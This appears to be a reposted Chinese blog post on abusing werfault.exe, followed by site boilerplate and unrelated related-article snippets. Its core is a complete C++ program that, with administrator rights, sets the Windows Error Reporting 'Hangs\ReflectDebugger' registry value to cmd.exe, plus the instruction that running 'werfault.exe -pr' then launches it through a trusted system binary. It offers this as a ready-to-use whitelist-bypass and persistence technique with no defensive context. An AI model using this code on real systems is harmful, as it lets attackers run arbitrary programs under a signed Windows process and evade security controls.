【系统白程序利用】werfault.exe

【系统白程序利用】werfault.exe#include"stdafx.h"#include<windows.h>int_tmain(intargc,_TCHAR*argv[]){//Getrootkeyhandle.HKEYhRoot=nullptr;LPCTSTRlpSubKey=L"Software\\Microsoft\\Windows\\Wi…

大家好,又见面了,我是你们的朋友全栈君。

#include "stdafx.h"
#include <windows.h>


int _tmain(int argc, _TCHAR* argv[])
{

    // Get root key handle.
    HKEY hRoot = nullptr;
    LPCTSTR lpSubKey = L"Software\\Microsoft\\Windows\\Windows Error Reporting";
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, KEY_ALL_ACCESS, &hRoot) != ERROR_SUCCESS)
    {
        wprintf(L"Open root key <%s> failed!\n", lpSubKey);
    }

    // Create subKey.
    HKEY hResult = nullptr;
    lpSubKey = L"Hangs";
    DWORD despostion = NULL;
    if (RegCreateKeyEx(hRoot, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hResult, &despostion) != ERROR_SUCCESS)
    {
        wprintf(L"Create key <%s> failed!\n", lpSubKey);
    }
    else
    {
        if (despostion == REG_CREATED_NEW_KEY)
        {
            printf("Create new key successfuly!\n");
        }

        if (despostion == REG_OPENED_EXISTING_KEY)
        {
            printf("Opened new key successfuly!\n");
        }
    }



    // Set subkey value.
    LPCTSTR lpValueName = L"ReflectDebugger";
    LPCTSTR lpData = L"c:\\windows\\system32\\cmd.exe";
    if (RegSetValueEx(hResult, lpValueName, 0, REG_SZ, (const byte*)lpData, (_tcslen(lpData)+1) * sizeof(TCHAR)) != ERROR_SUCCESS)
    {
        printf("Set key value failed!\n");
        return 0;
    }
    else
    {
        printf("Reg Add Successfully!\n");
    }


    system("pause");
    return 0;
}

添加注册表成功后,调用werfault.exe -pr ,werfault会启动注册表中填写的可执行程序。

上面代码需要用管理员权限编译运行

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/149716.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • Flash WebGame 开发经验心得和PureMVC框架细说[通俗易懂]

    Flash WebGame 开发经验心得和PureMVC框架细说[通俗易懂]→前端的主程序架构和模块划分与人手和人事分工是紧密联系在一起的,而这些很大程度上又是由项目本身决定的。纵观现在国内绝大多数FLASHWEBGAME的规模和难度,我觉得前端AS人员大概需要2-7个之间,主程序有效代码一般不会超过10W行。在这种情况下,人事分工应当以功能和模块进行划分,尽量避免多人维护同一份代码,每个人各司其职,减少维护和协作的成本。这种模式非常适合人手不够,制度不健全,而且追…

  • Hadoop 生态系统的构成(Hadoop 生态系统组件释义)

    Hadoop 生态系统的构成(Hadoop 生态系统组件释义)现在先让我们了解一下Hadoop生态系统的构成,主要认识Hadoop生态系统都包括那些子项目,每个项目都有什么特点,每个项目都能解决哪一类问题,能回答这三个问题就可以了(本段属于热身…重在理解Hadoop生态系统组成,现状,发展,将来)。HDFS:HDFS(HadoopDistributedFileSystem,Hadoop分布式文件系统)是Hadoop体系中数据存储管理的基础。它是一个高度容错的系统,能检测和应对硬件故障,用于在低成本的通用硬件上运行。HDFS简化了文件的一致性模

  • eclipse汉化教程及汉化包

    eclipse汉化教程及汉化包https://download.eclipse.org/technology/babel/update-site/R0.18.3/2021-03/

  • shell日期循环[通俗易懂]

    shell日期循环[通俗易懂]1. vitest.sh2.#!/bin/shstartdate=`date-d”$1″+%Y-%m-%d`enddate=`date-d”$2″+%Y-%m-%d`while[[$startdate<$enddate]]doecho"########$startdate#########"startdate=`dat

  • 练习break和continue「建议收藏」

    练习break和continue「建议收藏」练习break和continue需求:计算出1到100所有不能被7整除的整数之和(用continue)代码如下:<script>varsum=0;for(vari=0;i<=100;i++){ if(i%7===0){ continue; } sum+=i;}console.log(sum);</script>需求:…

  • dtu连接mysql_Azure SQL 数据库中的DTU和eDTU是什么

    dtu连接mysql_Azure SQL 数据库中的DTU和eDTU是什么AzureSQL数据库中的DTU和eDTU是什么03/07/20177分钟可看完本文内容MaxShen沈云技术解决方案专家AzureSQL使用了数据库事务单位(DTU)和弹性数据库事务单位(eDTU)来作为一个计量单位。但是DTU和eDTU究竟是什么?在官方文档中是这样解释的:DTU是一个资源度量单位,表示保证可用于单一数据库服务层内特定性能级别的单个AzureSQL…

    2022年10月31日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号